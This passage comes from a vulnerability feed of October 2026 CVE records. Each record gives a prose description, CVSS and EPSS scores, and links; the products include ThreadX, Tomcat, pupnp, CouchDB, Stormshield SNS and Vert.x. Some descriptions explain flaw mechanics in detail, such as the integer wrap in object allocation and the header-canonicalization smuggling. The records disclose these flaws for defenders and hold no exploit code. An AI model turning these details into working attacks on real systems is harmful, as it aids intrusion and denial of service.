It is reachable pre-authentication. The issuer used for the crypto operation is looked up in the remote, peer-supplied store before the trusted store, so the attacker supplies the oversized key themselves as an intermediate in the chain they present. It triggers on a TLS or DTLS client verifying a malicious server's chain, and on a server performing client-certificate authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request.
https://kevwire.com/record/CVE-2026-94018
The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request. (Oct 20, 2026).
The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request. The condition is reachable by an unauthenticated remote client with a single malformed request.
CVSS 8.8 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94018).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94018&date=2026-10-25).
Sources:
NVD CVE-2026-94018: https://nvd.nist.gov/vuln/detail/CVE-2026-94018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94018&date=2026-10-25
The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request. The condition is reachable by an unauthenticated remote client with a single malformed request.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with...
https://kevwire.com/record/CVE-2026-94192
A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with... (Oct 20, 2026).
A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with `txm_module_object_deallocate`. The manager released it whatever was in it, including a control block the kernel was still using. Deallocation is not deletion: the object stays on the created list for its type, a thread stays wherever it was on the ready or suspension lists and stays schedulable, and an active timer stays on the timer list. The byte pool is meanwhile free to hand those same bytes to the next allocation.
CVSS 8.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94192).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94192&date=2026-10-25).
Sources:
NVD CVE-2026-94192: https://nvd.nist.gov/vuln/detail/CVE-2026-94192
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94192&date=2026-10-25
A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with `txm_module_object_deallocate`. The manager released it whatever was in it, including a control block the kernel was still using. Deallocation is not deletion: the object stays on the created list for its type, a thread stays wherever it was on the ready or suspension lists and stays schedulable, and an active timer stays on the timer list. The byte pool is meanwhile free to hand those same bytes to the next allocation.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`.
https://kevwire.com/record/CVE-2026-95107
A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`. (Oct 20, 2026).
A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`. The Module Manager adds its own 16-byte private header to that size and asked the object pool for the result **without checking the addition**. A size near the top of a `ULONG` wrapped, the pool served a block far smaller than the header, and the manager then wrote the header past the end of it and into the neighbouring byte-pool block.
CVSS 7.0 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95107).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95107&date=2026-10-25).
Sources:
NVD CVE-2026-95107: https://nvd.nist.gov/vuln/detail/CVE-2026-95107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95107&date=2026-10-25
A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`. The Module Manager adds its own 16-byte private header to that size and asked the object pool for the result **without checking the addition**. A size near the top of a `ULONG` wrapped, the pool served a block far smaller than the header, and the manager then wrote the header past the end of it and into the neighbouring byte-pool block.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte.
https://kevwire.com/record/CVE-2026-95109
The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte. (Oct 20, 2026).
The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte. The common Module Manager hands its range check the module instance, the start address and the complete byte size; the Cortex-A7 implementation discarded the instance and the size and asked the MMU a single question about the start.



A memory-protected module therefore passed any range whose first byte was user-readable, however far the rest of it reached. Privileged dispatch code then read or wrote the whole range. Because every protected-module dispatcher that consumes a buffer or an extra-parameter array goes through this one macro, the defect is not in any individual service: it is in the primitive all of them rely on.
CVSS 8.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95109).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95109&date=2026-10-25).
Sources:
NVD CVE-2026-95109: https://nvd.nist.gov/vuln/detail/CVE-2026-95109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95109&date=2026-10-25
The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte. The common Module Manager hands its range check the module instance, the start address and the complete byte size; the Cortex-A7 implementation discarded the instance and the size and asked the MMU a single question about the start.



A memory-protected module therefore passed any range whose first byte was user-readable, however far the rest of it reached. Privileged dispatch code then read or wrote the whole range. Because every protected-module dispatcher that consumes a buffer or an extra-parameter array goes through this one macro, the defect is not in any individual service: it is in the primitive all of them rely on.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP...
https://kevwire.com/record/CVE-2026-108116
In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP... (Oct 15, 2026).
In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP requests, potentially exposing data accessible through the configured XMLA connection.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108116).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108116&date=2026-10-25).
Sources:
NVD CVE-2026-108116: https://nvd.nist.gov/vuln/detail/CVE-2026-108116
Vendor advisory (via NVD references): https://www.telerik.com/kendo-jquery-ui/documentation/knowledge-base/kb-security-pivotgrid-mdx-soap-injection-cve-2026-108116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108116&date=2026-10-25
In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP requests, potentially exposing data accessible through the configured XMLA connection.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pupnp is an SDK for development of UPnP device and control point applications.
https://kevwire.com/record/CVE-2026-57488
pupnp is an SDK for development of UPnP device and control point applications. (Oct 16, 2026).
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, raw_to_int in upnp/src/genlib/net/http/httpparser.c parses Content-Length with strtol and casts the resulting long to a 32-bit int before the caller stores it as unsigned int. On LP64 systems, values greater than INT_MAX can truncate or wrap, so the HTTP parser can accept a body length different from the declared value. A remote adjacent-network peer can use the resulting parser disagreement to leave bytes to be interpreted as another request in persistent or proxied contexts, or can make a worker wait for an extremely large body and cause denial of service. This issue is fixed in 2.0.2.
CVSS 7.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57488).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57488&date=2026-10-25).
Sources:
NVD CVE-2026-57488: https://nvd.nist.gov/vuln/detail/CVE-2026-57488
Vendor advisory (via NVD references): https://github.com/pupnp/pupnp/security/advisories/GHSA-g6c2-x4r9-352g
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57488&date=2026-10-25
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, raw_to_int in upnp/src/genlib/net/http/httpparser.c parses Content-Length with strtol and casts the resulting long to a 32-bit int before the caller stores it as unsigned int. On LP64 systems, values greater than INT_MAX can truncate or wrap, so the HTTP parser can accept a body length different from the declared value. A remote adjacent-network peer can use the resulting parser disagreement to leave bytes to be interpreted as another request in persistent or proxied contexts, or can make a worker wait for an extremely large body and cause denial of service. This issue is fixed in 2.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pupnp is an SDK for development of UPnP device and control point applications.
https://kevwire.com/record/CVE-2026-77630
pupnp is an SDK for development of UPnP device and control point applications. (Oct 16, 2026).
pupnp is an SDK for development of UPnP device and control point applications. Prior to 22.0.4, parse_hostport in upnp/src/genlib/net/uri/uri.c synchronously calls getaddrinfo while parse_uri is processing attacker-supplied hostnames from inbound HTTP request targets in upnp/src/genlib/net/http/httpparser.c and GENA SUBSCRIBE CALLBACK headers handled by create_url_list in upnp/src/gena/gena_device.c. A remote unauthenticated peer can choose a slow or nonresponsive hostname and block a bounded miniserver worker for the resolver timeout, allowing a small number of requests to exhaust the thread pool and deny UPnP service. This issue is fixed in 22.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77630).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77630&date=2026-10-25).
Sources:
NVD CVE-2026-77630: https://nvd.nist.gov/vuln/detail/CVE-2026-77630
Vendor advisory (via NVD references): https://github.com/pupnp/pupnp/security/advisories/GHSA-46ph-jff5-5h77
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77630&date=2026-10-25
pupnp is an SDK for development of UPnP device and control point applications. Prior to 22.0.4, parse_hostport in upnp/src/genlib/net/uri/uri.c synchronously calls getaddrinfo while parse_uri is processing attacker-supplied hostnames from inbound HTTP request targets in upnp/src/genlib/net/http/httpparser.c and GENA SUBSCRIBE CALLBACK headers handled by create_url_list in upnp/src/gena/gena_device.c. A remote unauthenticated peer can choose a slow or nonresponsive hostname and block a bounded miniserver worker for the resolver timeout, allowing a small number of requests to exhaust the thread pool and deny UPnP service. This issue is fixed in 22.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.
https://kevwire.com/record/CVE-2026-101356
Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users. (Oct 20, 2026).
Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.



This issue affects Apache Tomcat: from 11.0.22 through 11.0.26, from 10.1.55 through 10.1.60, from 9.0.118 through 9.0.122.



Users are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101356).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101356&date=2026-10-25).
Sources:
NVD CVE-2026-101356: https://nvd.nist.gov/vuln/detail/CVE-2026-101356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101356&date=2026-10-25
Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.



This issue affects Apache Tomcat: from 11.0.22 through 11.0.26, from 10.1.55 through 10.1.60, from 9.0.118 through 9.0.122.



Users are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next...
https://kevwire.com/record/CVE-2026-103119
Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next... (Oct 20, 2026).
Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next request received on that connection leading most likely to failure of the second request and possibly leakage of data from the first response to the second.



This issue affects Apache Tomcat: from 11.0.0-M25 through 11.0.26.



Users are recommended to upgrade to version 11.0.27, which fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103119).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103119&date=2026-10-25).
Sources:
NVD CVE-2026-103119: https://nvd.nist.gov/vuln/detail/CVE-2026-103119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103119&date=2026-10-25
Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next request received on that connection leading most likely to failure of the second request and possibly leakage of data from the first response to the second.



This issue affects Apache Tomcat: from 11.0.0-M25 through 11.0.26.



Users are recommended to upgrade to version 11.0.27, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield...
https://kevwire.com/record/CVE-2026-111090
A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield... (Oct 20, 2026).
A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield servers to retrieve update files or licenses, or to use automatic verification via SNS.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111090).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111090&date=2026-10-25).
Sources:
NVD CVE-2026-111090: https://nvd.nist.gov/vuln/detail/CVE-2026-111090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111090&date=2026-10-25
A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield servers to retrieve update files or licenses, or to use automatic verification via SNS.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A failure has been identified in the SNS during dynamic data files signature check.
https://kevwire.com/record/CVE-2026-113469
A failure has been identified in the SNS during dynamic data files signature check. (Oct 20, 2026).
A failure has been identified in the SNS during dynamic data files signature check.



A logic error in the signature verification routine resulting in acceptance of unauthenticated dynamic data update during Autoupdate routine.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113469).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113469&date=2026-10-25).
Sources:
NVD CVE-2026-113469: https://nvd.nist.gov/vuln/detail/CVE-2026-113469
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113469&date=2026-10-25
A failure has been identified in the SNS during dynamic data files signature check.



A logic error in the signature verification routine resulting in acceptance of unauthenticated dynamic data update during Autoupdate routine.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.
https://kevwire.com/record/CVE-2026-113808
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal. (Oct 20, 2026).
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.



Through the captive portal an attacker can inject an XSS when requesting user creation. The stored XSS can only be triggered during validation by the administrator.
CVSS 7.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113808).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113808&date=2026-10-25).
Sources:
NVD CVE-2026-113808: https://nvd.nist.gov/vuln/detail/CVE-2026-113808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113808&date=2026-10-25
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.



Through the captive portal an attacker can inject an XSS when requesting user creation. The stored XSS can only be triggered during validation by the administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.
https://kevwire.com/record/CVE-2026-113810
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal. (Oct 20, 2026).
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.



Through the captive portal an attacker can inject an XSS when requesting certificate creation for user. The stored XSS can only be triggered during validation by the administrator.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113810).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113810&date=2026-10-25).
Sources:
NVD CVE-2026-113810: https://nvd.nist.gov/vuln/detail/CVE-2026-113810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113810&date=2026-10-25
A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.



Through the captive portal an attacker can inject an XSS when requesting certificate creation for user. The stored XSS can only be triggered during validation by the administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon.
https://kevwire.com/record/CVE-2026-108089
** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon. (Oct 20, 2026).
** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon. An unauthenticated user could gain access to diagnostic interfaces, including triggering of cache, exposure of (verbose) debug logging and profile information.



This issue affects Apache Cocoon: all versions.



As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.



NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108089).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108089&date=2026-10-25).
Sources:
NVD CVE-2026-108089: https://nvd.nist.gov/vuln/detail/CVE-2026-108089
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108089&date=2026-10-25
** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon. An unauthenticated user could gain access to diagnostic interfaces, including triggering of cache, exposure of (verbose) debug logging and profile information.



This issue affects Apache Cocoon: all versions.



As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.



NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.
https://kevwire.com/record/CVE-2026-90797
An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion. (Oct 20, 2026).
An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.
Users are recommended to upgrade to version 3.5.3, which fixes this issue.
CVSS 7.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90797).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90797&date=2026-10-25).
Sources:
NVD CVE-2026-90797: https://nvd.nist.gov/vuln/detail/CVE-2026-90797
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90797&date=2026-10-25
An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.
Users are recommended to upgrade to version 3.5.3, which fixes this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database...
https://kevwire.com/record/CVE-2026-90800
Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database... (Oct 20, 2026).
Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database via an unauthorised API endpoint.


The use of prefixed system databases is very rare.

Users are recommended to upgrade to version 3.5.3, which fixes this issue.
CVSS 8.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90800).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90800&date=2026-10-25).
Sources:
NVD CVE-2026-90800: https://nvd.nist.gov/vuln/detail/CVE-2026-90800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90800&date=2026-10-25
Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database via an unauthorised API endpoint.


The use of prefixed system databases is very rare.

Users are recommended to upgrade to version 3.5.3, which fixes this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-75996
ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75996).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75996&date=2026-10-25).
Sources:
NVD CVE-2026-75996: https://nvd.nist.gov/vuln/detail/CVE-2026-75996
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75996&date=2026-10-25
ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization...
https://kevwire.com/record/CVE-2026-102479
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization... (Oct 14, 2026).
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization process interprets well crafted headers as headers of this list, allowing for instance Content-Xength to be interpeted as Content-Length.



This can be exploited for request smuggling purpose.



The impacted component is io.vertx:vertx-core.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102479).
